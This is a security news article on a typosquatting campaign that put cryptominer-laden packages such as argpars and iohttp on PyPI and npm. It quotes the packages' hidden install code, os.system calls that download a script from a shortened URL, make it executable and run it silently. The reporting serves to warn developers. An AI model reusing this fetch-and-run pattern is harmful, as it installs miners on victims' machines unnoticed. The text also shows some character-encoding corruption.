Security researchers have found hundreds of malicious packages infiltrated into PyPI and npm registries that carry a cryptominer script in their code.
Most of these packages are typosquats, resembling their names with that of popular PyPI or npm packages to get unsuspecting installs. While the operation seems to be down as of now, itโs still a growing threat to this community.
Typosquatting as the Major Technique
Despite having tighter security rules like a mandatory 2FA authentication for high-priority accounts, the JavaScript and Python package registries are still targeted with malicious attacks.
The latest one is spotted by a security researcher named Hauke Lรผbbers, who shared that โat least 33 projectsโ on PyPI had XMRig โ an open-source Monero cryptominer. These projects are mostly typosquats of other popular packages like React, argparse, and AIOHTTP, and carry cryptomininers in their scripts.
And yet another #python #pypi typosquatter:
Uploaded at least 33 projects within 3 hours.
Some examples:
โ argpars
โ dataclasses-jso
โ jupyter-cor
โ azure-mgmt-containerregistr
โ python-dateuitl
โ iohttp
7 minutes between report and takedown โ awesome @di_codes! pic.twitter.com/kUbS7PkSGQ— Hauke Lรผbbers (@streamlin3d) August 17, 2022
He noticed that the threat actor was downloading a Bash cryptomininer script from a remote server via Bit.ly URL shortener, as seen below;
os.system("sudo wget https://bit[.]ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1") os.system("chmod +x .cmc >/dev/null 2>&1") os.system("./.cmc >/dev/null 2>&1")
Though this website is now down, Sonatype security researchers have found a copy of it hosting the malicious scripts. Also, they discovered 186 npm typosquatting packages through it! Aside from this, Hauke Lรผbbers found yet another bunch of 22 PyPI packages with the same malicious payload.
When installed by unsuspecting developers, these scripts notify the threat actor of an IP address of the compromised host and the status of cryptomininer deployment. Overall, they have found more than 241 malicious npm and PyPI packages having cryptominers โ all targeting Linux machines.
While itโs still a growing threat to the developer community, the registries are good enough to act quickly by removing all the concerned packages right after informing them. Yet, developers depending on open-source scripts in PyPI and npm are advised to proceed with caution when installing something.